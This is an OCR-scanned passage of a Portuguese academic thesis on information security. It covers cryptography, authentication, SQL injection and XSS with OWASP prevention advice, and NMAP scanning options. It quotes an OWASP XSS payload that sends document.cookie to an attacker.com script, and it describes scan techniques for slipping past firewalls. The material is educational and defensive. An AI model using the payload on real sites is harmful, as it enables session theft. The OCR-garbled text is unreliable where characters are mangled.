sdo diferentes. Neste sistema criptografico, toda entidade possui um par de
chaves, sendo uma a chave privada e a outra a chave publica. A chave
privada deve ser de conhecimento apenas da entidade que a possui. A

divulgacdo desta chave acarretaria na violagdo da seguranca do sistema
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criptografico. A chave publica deve ser de conhecimento publico e por isso
deve ser amplamente divulgada. Este tipo de sistema criptogréfico é
largamente utilizado em assinaturas e certificados digitais.
(LANDWEHR, 2001, p. 10).
A utilizagdo da criptografia nos dias de hoje estd presente em diversos tipos de
aplicagcdes, como por exemplo, na utilizagdo de SSL (Secure Socket Layer), TLS
(Transport Layer Security) e VPN (Virtual Private Network), nos quais a criptografia é
a base do funcionamento. Ha ainda aplica¢des locais como a protecéo de arquivos e
até discos rigidos inteiros. A protecéo de discos rigidos pode ajudar na prevengéo do
roubo de dados em caso de roubo de laptops ou de dispositivos de armazenamento

por exemplo (LANDWEHR, 2001, p. 10).
2.5.2 — Autenticagéao

Vacca (2009, p. 49), define: “Autenticacdo é simplesmente provar que a requisicéo
de identidade de um usuario € valida e auténtica.” E ainda completa: “Autenticacéo
requer algum tipo de prova de identidade”.

A identificac@o e a autenticacdo se complementam. No processo de identificacdo é
necessario que o usuério se identifique perante o sistema, declarando a sua
identidade. Posteriormente, o processo de autenticagdo tem a fungédo de validar a
identidade apresentada pelo usuério no processo de identificacdo (NAKAMURA;
GEUS, 2007, p. 364).

A utilizagé@o de IDs de usuario e senhas continua sendo uma das metodologias mais
utilizadas para autenticar os usuarios, entretanto, o uso de tokens, smartcards,
leitura biométrica e outros dispositivos tem aumentado como forma de substituicdo

das senhas ou até mesmo complemento (LANDWEHR, 2001, p. 8).
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Apesar de o uso de senhas ter sido utilizado por décadas como a principal forma de
autenticacao e ser ainda hoje, um dos mecanismos de autenticacdo mais utilizados,
a utilizacdo de senhas possui diversas vulnerabilidades e pode comprometer a
autenticacdo dos usuérios. Aplicacdes mais criticas devem possuir mecanismos de
autenticagdo mais rigorosos e seguros, os quais devem incluir pelo menos 2 fatores
de autenticacéo e certificados PKI (VACCA, 2009, p. 87).
Segundo Landwehr (2001, p. 8), as diferentes formas de se autenticar, podem
depender de 3 fatores:
e Algo que o usuério conhece: Uma senha, uma frase secreta, um codigo de
acesso, efc ...
e Algo que o usuario possua: Um token, um cartdo de acesso, uma chave, um
smart card, etc ...
e Alguma caracteristica do usuario: Impresséo digital, reconhecimento de voz,
leitura facial, leitura da iris, entre outras leituras biométricas.
Quanto mais fatores forem utilizados, mais forte € considerado o mecanismo de
autenticagao.
Uma das preocupac¢des que devemos ter com o processo de autenticagcdo, € o caso
de a rede estar sendo “farejada” (spoofing) e as informagdes sendo lidas e
capturadas. Por isso alguns protocolos de autenticacdo utilizam técnicas, nas quais
cada resposta vélida e correta para o processo de autenticacdo difere para cada

processo de autenticacdo (LANDWEHR, 2001, p. 8).
2.5.3 — Controle de acesso

Nakamura e Geus (2007, p.375) definem que: “acesso é a habilidade de realizar
algo com recursos computacionais e a autorizacdo é a permissdo dada direta ou

indiretamente pelo sistema ou pelo dono do recurso para a utilizagdo do mesmo.”
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A autenticagdo do usuario perante o sistema é um passo fundamental e
indispensavel antes de conceder a esse usuario qualquer tipo de acesso a qualquer
parte do sistema ou a execugdo de qualquer tipo de operagdo (BELAPURKAR;
CHAKRABARTI; PONNAPALLI; VARADARAJAN, 2009, p. 43).

Desta forma, o controle de acesso € um mecanismo utilizado para controlar os niveis
de acesso (privilégios) que um determinado usuério pode ter em um sistema,
permitindo-o acessar dados e realizar operagdes dentro de seu nivel de permissao e
negando acessos e operagbes ndo autorizadas fora de seu nivel de permisséo
(VACCA, 2009, p. 59).

O controle de acesso logico, responsavel pelo controle sobre informacgdes referentes
aos recursos computacionais e pelos diversos niveis de acesso existentes se
encarrega de:

e Proteger sistemas operacionais e outros softwares contra modificacées ou
manipulacdes néo autorizadas, garantindo sua integridade e disponibilidade.

e Garantir a integridade e disponibilidade das informac¢des, ao restringir o
ndmero de usudrios e processos que acessam determinados tipos de
informacgoes.

e Garantir o sigilo das informacgdes, que ndo podem chegar a usuarios sem a
devida autorizagéo.

(NAKAMURA; GEUS, 2007, p. 375).

3 — Principais falhas de injecdo encontradas na seguranca

computacional

Neste capitulo serdo abordados os dois principais problemas de injecdo que mais

afetam as aplicagcdes web segundo os dados levantados pela (OWASP [C], 2012).
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3.1 - SQL Injection

O que é SQL Injection

Segundo a definicAo da OWASP [D] (2011) um ataque de SQL Injection consiste na
insercdo ou “injecdo” de uma requisicdo SQL através de uma entrada de dados de
um cliente em uma aplicagcdo. Ataques SQL Injection sdo um tipo de ataque de
injecdo nos quais comandos de SQL s&o injetados em entradas de dados em texto
plano para efetuar a execugédo de comandos SQL pré-definidos.

Diferentemente de um ataque Cross Site Scripting (XSS) que tem como alvo os
usuérios, um ataque SQL Injection tem como alvo o banco de dados a que uma

aplicacéo esta ligada.

Causas de um ataque SQL Injection

Uma ataque SQL Injection é possivel quando uma aplicagdo utiliza dados que
podem ser controlados por um atacante como parte de uma requisicdo SQL. O
atacante pode enviar uma entrada de dados maliciosa de forma que a requisicao
enviada ao banco de dados serd interpretada de uma forma diferente da forma
prevista pelo programador da aplicacdo (DASWANI; KERN; KESAVAN, 2007, p.
124).

Clarke (2009, p. 13) completa: Vulnerabilidades de injegdo SQL devem ocorrer
comumente quando o desenvolvedor de uma aplicagdo Web néo se certifica de que
os valores recebidos dos formularios da Web, cookies, parametros de entrada, entre
outros, sejam validados antes de serem passados para requisicdes SQL que seréo
executadas no banco de dados do servidor.

Qualquer processo que construa uma instrucdo SQL pode estar potencialmente

vulneravel. A natureza diversa do SQL e os métodos disponiveis para construi-lo,
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proporcionam opg¢Oes variadas de codificagéo. A primeira forma de injegcdo SQL
consiste na injecdo direta de cddigo nos parametros que s@o concatenados com
comandos SQL e executados. Um ataque menos direto injeta codigo malicioso em
Strings que estédo destinadas ao armazenamento em uma tabela ou em Strings que
servirdo de metadados. Quando as Strings armazenadas sdo subseqientemente
concatenadas com um comando SQL dinamico, o cédigo malicioso € executado.
Quando uma aplicagdo Web falha em filtrar adequadamente os parametros que séo
passados para instru¢des SQL dinamicamente criadas, (mesmo utilizando técnicas
de parametrizacdo) é possivel a um atacante alterar a construgdo de instrucdes
SQL. Quando um atacante é capaz de modificar uma instrugdo SQL, a instrugdo ira
ser executada com os mesmos privilégios da aplicagdo do usuério. Quando se usa o
servidor SQL para executar comandos que interagem com o sistema operacional, o
processo ir4 executar com as mesmas permissdes do componente que executou o
comando, o qual freqientemente tem um numero maior de permissfes (CLARKE,

2009, p. 7).

Consequéncias de um ataque SQL Injection

Se um atacante pode controlar a entrada que é enviada para uma requisi¢cdo SQL e
manipula essa entrada de forma que o dado seja interpretado como cédigo ao invés
de dado, entdo o atacante pode executar codigo no banco de dados (CLARKE,
2009, p. 13).

De acordo com a OWASP [D] (2011) um ataque de injegdo SQL realizado com
sucesso pode ler dados importantes de um banco de dados, modifica-los, inserir

novos dados e até apaga-los.
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Em servigos web que ndo possuem o devido tratamento de excegéo, a mensagem
de erro pode conter dados valiosos para o atacante utilizar. Assim, através de
tentativa e erro, o atacante pode descobrir que tecnologia de banco de dados esta
sendo utilizada, que tabelas existem que podem ser exploradas e todas as
informacdes necessérias para efetuar um ataque (BRINHOSA; R. B. WESTPHALL;
C. B. WESTPHALL, 2011, p. 5).

A figura 5 mostra um cenério no qual um erro ndo tratado foi emitido, revelando

informagdes sobre o tipo de banco de dados utilizado:

ERROR: The query was not accomplished. Description: 1064 - You have an
error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near '1=1'' at line 1

Figura 5 - Exemplo de erro nao tratado (BRINHOSA; R. B. WESTPHALL; C. B. WESTPHALL, 2011, p. 5)

Levando em consideragdo as informagbes citadas por Clarke e pela OWASP,
inferimos que um atacante diante de um sistema vulneravel a falhas de injecdo SQL,
pode, entre outras agles, utilizar-se dos meios de entrada de dados para injetar
cbdigo SQL malicioso junto aos dados, a fim de alterar a semantica das requisi¢coes
SQL e consequentemente manipular informagdes no banco de dados da aplicagéo.
As informagfes podem ser inseridas, modificadas ou até apagadas. A ocorréncia
deste fato pode resultar na incoeréncia das informagdes contidas no banco de dados

e significar em grandes perdas para instituicdes e organizacgodes.

Como evitar ataques SQL Injection
Segundo Clarke (2009, p. 13), existem algumas situacbes as quais podem ser
pontos de vulnerabilidade em sistemas que utilizam a linguagem SQL:

e Construcdo de Strings Dinamicos: E uma técnica de programacdo que

permite ao desenvolvedor construir instrugbes SQL dinamicamente em tempo
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de execucdo. Desta forma é possivel criar aplicagcdes de proposito geral mais
flexiveis. Entretanto a mesma flexibilidade que pode facilitar a criacdo de
instrucdes dinamicas, pode se tornar um problema caso as requisicoes néo
sejam parametrizadas. Requisicdes parametrizadas séo requisicdes que
possuem um ou mais parametros embutidos na instru¢do SQL. Parametros
podem ser passados para estas requisicbes em tempo de execucéo.
Parametros contendo entradas do usuario embutidas ndo séo interpretados
como comandos a serem executados, ndo havendo assim oportunidade para
injecdo de cbdigo. Este método de embutir pardmetros na instrucdo SQL é
mais eficiente e muito mais seguro do que criar dinamicamente e executar
instrugdes SQL utilizando técnicas de juncdo de Strings.

Manipulagéo Incorreta dos Caracteres de Escape: Banco de dados SQL
interpretam o caractere (‘) como o divisor entre cédigo e dados. Sendo assim,
toma-se que tudo o que segue este caractere € codigo a ser executado e
tudo o que esta encapsulado entre estes caracteres € dado. Desta forma,
este caractere é utilizado em ataques de injecdo SQL para “escapar’ do
contexto da requisigéo do desenvolvedor para que o atacante possa construir
suas proprias requisicbes e possa executa-las. Existem ainda outros
caracteres de escape, como por exemplo no Oracle, 0 espago em branco,
pipe duplo (||), virgula, ponto, (*/) e aspas duplas.

Manipulagcdo Incorreta de Tipos: Como visto no caso anterior, dados e
codigo séo separados por um caractere (), entretanto nem todo dado de fato
precisa estar entre aspas simples, como é o caso de numeros inteiros por
exemplo. Se colocarmos um inteiro entre aspas simples, o dado sera tratado

como String (texto) e ndo como um numero inteiro propriamente dito.
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Dependendo do tipo de dado esperado pela entrada em uma aplicagdo que
utiliza SQL, pode-se criar uma vulnerabilidade, como no caso de uma entrada
de cddigo de usuario, a qual o usuério deve entrar com um cddigo numérico.
Assim o cédigo digitado ndo acompanharé caracteres de escape e pode ser
um potencial risco para o banco de dados caso a entrada néo for filtrada.
Manipulagcdo Incorreta de Requisicoes Assembly: Algumas aplicagbes
complexas precisam ser codificadas com sentencas de SQL dinamicas, pois
as tabelas ou campos que precisam ser acessados ainda ndo séo conhecidos
no estagio de desenvolvimento ou ainda ndo existem. O fato de uma
aplicagédo gerar uma entrada de dados em tempo de execugéo faz, muitas
vezes, com que o desenvolvedor confie na entrada de dados gerada.
Entretanto ela pode ser controlada pelo usuéario, se for, por exemplo,
submetida por uma requisi¢cdo do tipo GET. O atacante pode submeter os
seus dados no lugar dos dados gerados pela aplicagéo, realizando assim um
ataque de injecdo SQL.

Manipulagcdo Incorreta de Erros: Lidar com erros de forma inapropriada
pode acarretar uma série de problemas de seguranca para um Web site. O
problema mais comum ocorre quando mensagens de erro internas
detalhadas, como as que envolvem estruturas de tabelas ou cédigo de erros
sdo mostrados ao usuario ou atacante. Essas mensagens revelam detalhes
de implementag&o que nunca deveriam ser revelados. Esses detalhes podem
fornecer informacdes importantes referentes a estrutura do Web site para o
atacante, facilitando a descoberta de falhas. Mensagens de erro de tabelas

podem ser usadas para extrair informagdes das tabelas e auxiliar na
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construgdo de injegdes com o intuito de escapar da requisicdo do
desenvolvedor ou manipular as informagdes contidas na tabela.

Manipulacdo Incorreta de Submissdes Mdultiplas: Desenvolvedores de
aplicacbes tendem a projetar aplicagfes as quais guiardo 0s usuarios por um
fluxo esperado do processo, imaginando que 0 USUArio ir4 seguir 0S passos
l6gicos que foram projetados. Por exemplo, eles esperam que se um usuério
chegou até o terceiro formulario em uma série de formularios, entdo o usuéario
deve ter preenchido o primeiro e o segundo formularios. Na realidade,
frequentemente é muito simples desviar do fluxo de dados esperado,
requisitando os recursos fora de ordem diretamente através de seus URLs.
Um atacante pode acessar o segundo formulério diretamente, sem acessar o
primeiro, ou ele pode simplesmente enviar dados validos como entrada para
0 primeiro formulério e depois manipular estes dados quando eles forem
enviados ao segundo formulério. Desta forma a aplicagéo ird considerar que
os dados do primeiro formulario que acompanham o segundo formulério, ja

foram validados, quando na verdade estes dados podem ter sido alterados.

Tendo como base os pontos de vulnerabilidade listados, de forma geral, podemos

evitar ataques de injegdo SQL dedicando atencdo a estes pontos e desenvolvendo

aplicacdes preparadas para evitar estes problemas.

Abaixo estéo listadas algumas recomendagdes de Clarke, (2009, p. 373):

Use instrugdes parametrizadas
0 Use instrucbes parametrizadas ao invés de SQL dindmico na

construcédo de requisicdes SQL.
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0 Use instrugdes parametrizadas somente quando vocé esté fornecendo
dados; vocé ndo pode utiliza-las para fornecer palavras-chaves SQL ou
identificadores (como nomes de tabelas ou colunas).

Valide as entradas

o Sempre utilize validagdo de entrada do tipo “White list” (aceitando
somente entradas esperadas) onde puder.

o Certifigue-se de ter validado o tipo, tamanho, intervalo e contetdo de
todas as entradas controladas por usuéario na aplicagao.

o Utilize validacao de entrada do tipo “Black list” (aceitando tudo, exceto
entradas contidas na Black list) somente quando vocé nao puder
utilizar validagéo de entrada do tipo “White list”.

o Nunca utlize apenas “Black list". Ao menos combine-a com a
codificac@o de saida ou outra validacao.

Codifique a saida

o Certifiqgue-se de que requisicdes SQL contendo entradas controladas
por usuario sdo codificadas corretamente para prevenir que caracteres
especiais alterem a requisi¢éo.

0 Se vocé estd utilizando clausulas do tipo LIKE, certifique-se de que os
curingas (wild cards) da clausula LIKE estdo propriamente codificados.

o Certifiqgue-se de que os dados recebidos da base de dados estdo em
um contexto apropriado da entrada de validagéo.

Normalize (Padronize)

o Os filtros de validacdo de entrada e codificacdo da saida devem ser

executados depois que a entrada foi decodificada ou estd na forma

canonica.
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o Esteja ciente de que existem multiplas representacdes de qualquer
caractere e multiplas formas de codifica-lo.

0 Onde possivel, utilize validacdo de entradas do tipo “White list” e rejeite
formas n&o candnicas de entrada.

e Projete visando evitar os perigos de Injegcdo SQL

0 Use procedimentos armazenados para que VOCé possa ter permissdes
mais granulares no nivel da base de dados.

0 Vocé pode usar uma camada de abstracdo de acesso a dados para
reforcar a seguranca do acesso a dados através de uma aplicacdo

inteira.

Considere controles adicionais sobre informagbes importantes em tempo de

projecao e desenvolvimento.

3.2 - Cross Side Scripting (XSS)

O que é Cross Site Scripting

Segundo a definicdo da OWASP [B] (2011) ataques de Cross Site Scripting sdo um
tipo de problema de inje¢c&o, no qual scripts maliciosos sdo injetados em web sites
confiaveis.

A OWASRP [B] (2011) categoriza os ataques XSS em 2 categorias:

e Armazenados (Stored): S&o os ataques nos quais o0 coédigo injetado é
permanentemente armazenado nos servidores alvo, como em um banco de
dados, forum de mensagens, log de visitantes ou em um campo de
comentarios. Assim, a vitima recebe o cdédigo malicioso do servidor quando

ela solicita a informag&o armazenada.
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o Refletidos (Reflected): S&o os ataques nos quais o codigo injetado é
refletido dos servidores web, como em uma mensagem de erro, resultado de
pesquisa, ou qualquer outra resposta que inclua alguma parte ou toda a
entrada enviada ao servidor como parte da requisi¢céo. Ataques refletidos de
XSS sdo entregues as vitimas através de outros caminhos, como uma
mensagem de e-mail por exemplo. Quando o usuario clica em um link
malicioso ou submete um formulario malicioso, o cédigo injetado viaja até o
servidor web vulneravel, que reflete o ataque de volta ao navegador do
usuério. O navegador entdo executa o codigo, porque este veio de um

servidor confiavel.

Existe ainda outro tipo de ataque XSS pouco conhecido, que é baseado em
Document Object Model (DOM) e modifica 0 ambiente DOM do navegador da vitima.
Document Object Model € uma interface livre de plataforma e linguagem que permite
que programas e scripts acessem dinamicamente e atualizem o conteudo, a
estrutura e o estilo de documentos no browser do usuéario (World Wide Web
Consortium, 2012).

Um ataque XSS é um ataque de injecdo bem como o SQL Injection, entretanto a
principal diferenca entre esses ataques é que um ataque Cross Site Scripting tem
como alvo o usuério enquanto que um ataque SQL Injection tem como alvo o banco

de dados de um servidor.

Causas de um ataque XSS
A OWASRP [B] (2011) define 2 situagdes nas quais ataques de Cross Site Scripting

podem ocorrer:
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e Dados entram em uma aplicacdo web através de uma fonte ndo confiavel.
FreqUentemente uma requisicao web.

e O dado est4 incluso em um contetddo dinAmico que é enviado por um usuério
da web sem ser validado previamente e verificada a existéncia de codigo

malicioso.

De modo geral, para a OWASP [B] (2011) ataques de Cross Site Scripting também
ocorrem quando um atacante usa uma aplicagéo web para enviar cédigo malicioso,
que geralmente executa no browser de diversos usuarios diferentes. Falhas que
permitem o sucesso desses atagues sdo comuns e ocorrem em qualquer ambiente
que utilize uma aplicacdo web a qual requeira uma entrada do usuario e utilize essa
entrada na saida gerada pela aplicacdo sem antes validar e ou codificar a entrada
do usuario.

A figura 6 mostra um possivel cenario passivel de ataque XSS, no qual a aplicagéo
utiliza dados ndo confidveis na constru¢cdo da pagina HTML sem validagcdo ou

escape de caracteres:

:{String} page += "“{input name='creditcard' type='TEXT®
I

| value= + request getParameter("CC") + "'

il

Figura 6 - Cenéario passivel de ataque XSS (OWASP [E], 2012)

O atacante pode modificar o parametro ‘CC’ no browser para o contelldo mostrado

na figura 7:

e e e e e S S 1
i “Wazocriptidocument . location= 'http: < wyy attacker . con-cgi- 1
I 1
lbinscookie. cgi?foo="'+docunent  cookisl script) . !
L o o o o o e 1

Figura 7 - Parametro 'CC' utilizado na figura 6 (OWASP [E], 2012)
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A consequéncia desta acdo, como mostrada na figura 6 e 7, € o roubo de sesséo do
usuario, o qual tera os valores do cookie associado a este documento, enviados
para o site do atacante (OWASP [E], 2012).

O contetdo malicioso enviado para o navegador do usuério freqiientemente estao
na forma de um segmento de JavaScript, mas podem também incluir HTML, Flash
ou outros tipos de codigos que o navegador possa executar. A variedade de ataques
baseados em XSS é quase ilimitada, mas comumente incluem a transmissao de
dados privados como cookies ou outras informagbes de sessbes ao atacante,
redirecionando a vitima ao conteddo da web controlado pelo atacante ou ainda
executando a¢des maliciosas na maquina do usuério guiadas pelo site vulneravel
(OWASP [B], 2011).

Para o CGI Security (2012) um ataque de Cross Site Scripting ocorre quando uma
aplicacdo coleta dados maliciosos de um usuério. O dado é normalmente coletado
na forma de link, o qual contém conteddo malicioso em si mesmo. O usuario na
maior parte das vezes clicara neste link em um outro web site, em uma mensagem
instantanea ou até mesmo em um e-mail. E comum que o atacante codifique a parte
maliciosa do link em HEX (hexadecimal) ou outros métodos de codificacdo para
evitar levantar suspeitas de que o link é fraudulento. Depois que os dados s&o
coletados pela aplicagdo web, uma pagina de saida dos dados é criada para o
usuério contendo os dados maliciosos que foram originalmente enviados, mas de
uma maneira que a apresentacdo dos dados seja similar a apresentada pelo web

site original.

Consequéncias de um ataque XSS
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Um atacante pode usar XSS para enviar um script malicioso ao browser de um
usuério confidvel sem que o browser do usuério final saiba que o script ndo é
confiavel. Desta forma, o browser ir4 executar o script e ir4 considerar que o script
veio de uma fonte confidvel. O script malicioso pode acessar qualquer cookie,
sessdo de tokens ou qualquer outra informacdo importante armazenada pelo
browser do usuério e utilizada naquele site. Alguns scripts sdo até capazes de
reescrever paginas HTML (OWASP [B], 2011).

Eventualmente atacantes irdo injetar JavaScript, VBScript, ActiveX, HTML ou Flash
em uma aplicagdo vulneravel para enganar um usuario e coletar informacdes. Pode
haver diversas consequéncias tais como: sequestro de sessédo, alteracdo nas
configuragdes do usuario, roubo ou envenenamento de cookies e até propagandas
falsas (CGI Security, 2012).

Esse tipo de ataque n&o pode ser evitado pelo fato de se usar criptografia, como por
exemplo, uma conexdo SSL (Secure Socket Layer). A aplicagdo web com SSL
funciona da mesma forma e os dados continuardo sendo criptografados, entretanto
os dados em si é que sdo maliciosos e ao serem decodificados em seu destino final

e executados faréo o ataque acontecer.

Como saber se vocé esta vulneravel e como se proteger

Se vocé é o dono da aplicagdo, nunca confie em contetdos digitados por usuarios e
sempre filtre metadados. Essa prética ir4 eliminar a maior parte de ataques XSS. Se
vocé é um usuario final a maneira mais facil de se proteger € seguir apenas links
encontrados dentro da pagina oficial que vocé deseja visitar. Se vocé estiver lendo
uma mensagem e a mensagem contiver um link para um web site conhecido, prefira

digitar vocé mesmo o endere¢o em seu navegador ao invés de clicar no link para
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acessar a pagina. Isso provavelmente ira eliminar 90% dos riscos de vocé ser vitima
de um ataque XSS. As vezes, codigos maliciosos podem ser executados
simplesmente ao abrir um e-mail. Se vocé desconhece o remetente, seja cuidadoso
ao abri-lo. Uma outra opcdo para se proteger de ataques XSS é desabilitar a
execucao de JavaScript em seu navegador, porém esta estratégia pode prejudicar a

sua navegacao em sites que utilizam JavaScript (CGI Security, 2012).

4 — Ferramentas de analise de seguranca

4.1 - Scanner de Rede: NMAP

Varredura de Portas

A varredura de portas € o processo de se conectar a portas TCP e UDP com o
propoésito de encontrar quais servigos e aplicacdes estéo disponiveis no dispositivo
alvo (GREGG, 2008, p. 111).

Este tipo de pratica pode ser utilizada tanto para fins de auditoria de seguranca da
rede, ajudando os administradores da rede a encontrarem portas abertas que podem
comprometer a seguranca de um terminal isolado ou de uma rede ou parte dela,
bem como por pessoas mal intencionadas a procura de portas abertas na rede, as
quais poderdo ser exploradas e servirem de portas de entrada para ataques a rede.
Segundo GREGG (2008, p. 122), a varredura de portas foi questionada quanto a sua
legalidade nos Estados Unidos. Enquanto que para alguns a varredura de portas era
considerada crime, para outros esta pratica ndo poderia ser considerada crime uma
vez que nao traria prejuizo algum ao alvo.

A questdo de ser ou ndo ser considerada crime a prética da varredura de portas, €

discutida até hoje, pois apesar de ndo trazer prejuizos diretos ao alvo, pode levar a
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uma exposicdo de falhas de seguranga do elemento varrido. Devido a este tipo de
exposi¢cdo, que pode facilitar e até levar a um ataque, varrer portas € uma prética
que sO deve ser feita em redes sob sua jurisdicdo ou com a concessao de
autorizacéo para tal ato. A varredura de redes nédo autorizadas pode ser considerado
ilegal e o autor da prética podera estar sujeito a multas e penalidades determinadas

de acordo com a legislacéo local vigente.

A Ferramenta
O NMAP é uma ferramenta de coédigo aberto para exploracé@o de rede e auditoria de
seguranca, o qual serve tanto para varrer redes amplas bem como hosts individuais.
Utilizando pacotes IP em estado bruto (pacote IP sem modificacbes), o NMAP
consegue descobrir de maneira eficiente, quais hosts estdo disponiveis na rede e
quais servigos estes oferecem. E possivel ainda descobrir mais informacées do alvo
varrido tais como tipo e versao do sistema Operacional utilizado, quais tipos de filtros
de pacotes (firewall) estdo em uso, entre outras (NMAP [C], 2012).
O resultado de uma varredura realizada com o NMAP contera entre outras
informagBes uma tabela de portas do alvo, a qual é o objeto principal do nosso
estudo com esta ferramenta, pois sdo as informacdes obtidas do estado de cada
uma destas portas que ira compor um relatério sobre a seguranca do alvo varrido.
Nesta tabela encontraremos:

¢ O numero da porta descoberta

e O protocolo por ela utilizado

e O nome do servigo

e O estado da porta que pode ser:
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o Aberto: Uma aplicagdo esta escutando a porta e esperando o
recebimento de pacotes nesta porta.

o Filtrado: Existe um filtro, firewall ou algum outro obstaculo na rede
blogueando a porta de forma que o NMAP n&do consegue determinar se
ela est4 aberta ou fechada.

o Fechado: A porta recebe e responde aos pacotes enviados pelo
NMAP, entretanto ndo existe nenhuma aplicagdo ouvindo a porta.
Portas fechadas também necessitam de atencao e observacao pois em
um determinado momento elas podem se abrir.

o Na&o Filtrado: Para este caso, a porta responde aos pacotes enviados
pelo NMAP, entretanto o NMAP ndo consegue determinar se a porta

esta aberta ou fechada.

Especificagdo do Alvo

Com o NMAP é possivel varrer hosts individuais, mas também redes inteiras, ou
hosts adjacentes a um especificado.

Para varrer um host Unico, basta digitar o endere¢o do host tal como 192.168.1.1 por
exemplo.

Para varrer hosts adjacentes basta utilizar o estilo de enderecamento CIDR
(Classless Inter-Domain Routing), especificando um endereco base e o niumero de
bits 0 qual o NMAP devera manter no inicio do endereco fornecido nesta varredura.
Por exemplo, 192.168.10.0/24 varreria os 256 hosts entre 192.168.10.0 (binério:
11000000 10101000 00001010 00000000) e 192.168.10.255 (binario: 11000000
10101000 00001010 11111111). De um total de 32 bits que compdes o endereco,

apenas o0s 24 primeiros serdo mantidos, variando os 8 ultimos.
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Além disso o NMAP permite mais de 1 tipo de especificagdo de hosts na mesma
linha de comando, ndo sendo necessario repetir o comando para outros hosts

desejados caso haja mais de 1 ou varias faixas de hosts a serem pesquisadas.

Descoberta de Hosts

Para os casos de redes muito grandes, as vezes ndo se sabe ao certo quais hosts
varrer na rede. Mesmo que se saiba a faixa de enderegos a qual se deve varrer,
nem todos os hosts podem estar ativos no momento da varredura e por iSSo seria
dispendioso fazer uma varredura de toda a rede porta a porta. Por isso muitas vezes
temos a necessidade de saber anteriormente quais sdo os hosts existentes na rede
e quais hosts estéo ativos.

O NMAP oferece suporte & descoberta de hosts o0 que nos permite otimizar as
nossas buscas, economizar N0SSOS recursos € 0 Nosso tempo. Se nenhuma opgao
de descoberta de hosts for especificada, por padrdo o NMAP envia pacotes TCP
ACK destinados a porta 80 e espera um pacote ICMP (Internet Control Message
Protocol) Echo Request como retorno para cada host enviado (NMAP [A], 2012).
Dentre as opgdes para descoberta de hosts temos:

-sL (Scan Listagem): E uma forma simples de listar cada host da rede
especificada, sem enviar nenhum pacote aos hosts alvo. O NMAP ira se utilizar de
uma técnica de DNS reverso para descobrir os nomes dos hosts. Neste modo o
NMAP ira reportar também ao final da varredura a quantidade de IPs da rede.

-sP (Scan usando ping): Esta opcédo faz com que o NMAP realize a varredura na
rede apenas usando o ping, de forma que somente os hosts ativos irdo responder. A
consequéncia de usar o ping para descobrir os hosts ativos da rede é o envio de

pacotes a todos os hosts da rede, o que podera levantar suspeitas de que a rede
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esta sendo varrida. Por outro lado, pode ser mais valioso saber quais hosts estio
ativos na rede do que apenas a listagem dos hosts.

-p0 (Sem ping): A opgéo sem ping, pula o descobrimento de hosts da rede. Nesta
opcdo o NMAP fard uma varredura mais agressiva, como a varredura de portas e
deteccéo de SO em hosts que foram verificados como ativos.

-PS [listadeportas] (ping usando TCP SYN): Neste modo, o NMAP envia um
pacote TCP vazio com a flag SYN marcada. Por padréo este pacote é enviado a
porta 80, mas uma porta alternativa ou uma lista de portas pode ser especificada
como parametro (ex: -PS22,23,25,80,113,1050,35000) sendo que para mais de uma
porta, a varredura nas outras portas é executada em paralelo.

A flag SYN indica aos sistemas remotos que h& uma tentativa de estabelecer uma
comunicacdo. Normalmente a porta de destino estariq fechada e um pacote RST
(reset) serd enviado de volta. Caso a porta esteja aberta, o alvo ir4 dar o segundo
passo do cumprimento de-trés-vias (3-way-handshake) do TCP respondendo com
um pacote TCP SYN/ACK TCP.

A méaquina executando o NMAP derruba entdo a conexdo recém-criada
respondendo com um RST ao invés de enviar um pacote ACK que iria completar o
cumprimento-de-trés-vias e estabelecer uma conex&do completa. O pacote RST é
enviado pelo kernel da maquina que esta executando o NMAP em resposta ao
SYN/ACK inesperado, e ndo pelo préprio NMAP.

-PA [listadeportas] (ping usando TCP ACK): O ping utilizando TCP ACK funciona
da mesma forma que o ping utilizando SYN. A diferenca é que nesta opg¢éo a flag
TCP ACK é marcada ou invés da flag SYN. O pacote ACK simula reconhecer dados

de uma conexdo TCP estabelecida, quando na verdade nenhuma conex&o existe de
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fato. Assim 0s hosts remotos ativos deveriam sempre responder com pacotes RST,
revelando sua existéncia no processo.

A razdo pela qual o NMAP oferece varreduras utilizando pacotes SYN e ACK é a
maximizagcdo das chances de driblar firewalls, pois alguns firewalls estéo
configurados, por exemplo, para rejeitar pacotes do tipo SYN entrantes exceto
aqueles destinados a servi¢os publicos como o site web da empresa ou servidor de
correio eletrénico e nestas condigdes pacotes do tipo ACK teriam sucesso.

-PU [listadeportas] (ping usando UDP): Nesta opgdo o NMAP envia um pacote
UDP vazio ou de um tamanho especificado (--data-length) para as portas
informadas. Caso nenhuma porta seja especificada no paramentro [listadeportas] a
porta padrdo 31338 € escolhida. Uma porta alta incomum é utilizada propositalmente
como padréo porque enviar para portas abertas normalmente é indesejado para este
tipo particular de varredura. Se o pacote chegar a uma porta fechada na maquina-
alvo, a sondagem UDP deve causar um pacote ICMP de porta inalcangavel como
resposta e isso diz ao NMAP que a maquina esté ativa e disponivel.

Muitos outros tipos de erros ICMP, tais como host/rede inalcangavel ou TTL (Time to
Live) excedido séo indicativos de um host inativo ou inalcancavel. A falta de resposta
também é interpretada dessa forma. Se uma porta aberta € alcancada, a maioria dos
servicos simplesmente ignoram o pacote vazio e falham ao retornar qualquer
resposta, por isso uma porta pouco provavel de estar em uso é escolhida. A principal
vantagem de se usar a varredura de ping UDP é que ela passara por firewalls e
filtros que bloqueiam apenas os pacotes TCP.

Existem ainda outras técnicas para a descoberta de hosts na rede utilizando o
NMAP que nao serdo abordadas aqui, mas que podem ser acessadas diretamente

em (NMAP [A], 2012).
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Técnicas de Varredura de Portas

Para cada caso de uso do NMAP, podemos escolher dentre algumas técnicas de
varredura que melhor atendem as necessidades da varredura. Em alguns casos, por
exemplo, desejamos varrer uma rede inteira sem sermos notados, em outros casos
a varredura esta sendo feita pelo préprio administrador da rede para auditoria de
seguranca e esse detalhe ndo é importante, mas outras caracteristicas na varredura
séo desejadas. Para isso temos algumas técnicas de varredura de portas:

-sS (scan TCP SYN): A varredura SYN é a opc¢do de varredura padréo mais
popularmente utilizada, pois pode ser executada rapidamente varrendo milhares de
portas por segundo em uma rede rapida, ndo blogueada por firewalls intrusivos. A
varredura SYN é camuflada, uma vez que ela nunca completa uma conexdo TCP.
Esse tipo de varredura permite uma diferenciagéo clara e confidvel entre os estados
aberto (open), fechado (closed), e filtrado (filtered).

-sT (scan TCP connect): A varredura TCP connect € a varredura padrdo do TCP
quando a varredura SYN ndo é uma opc&o. E uma opcéo para quando o usuario nao
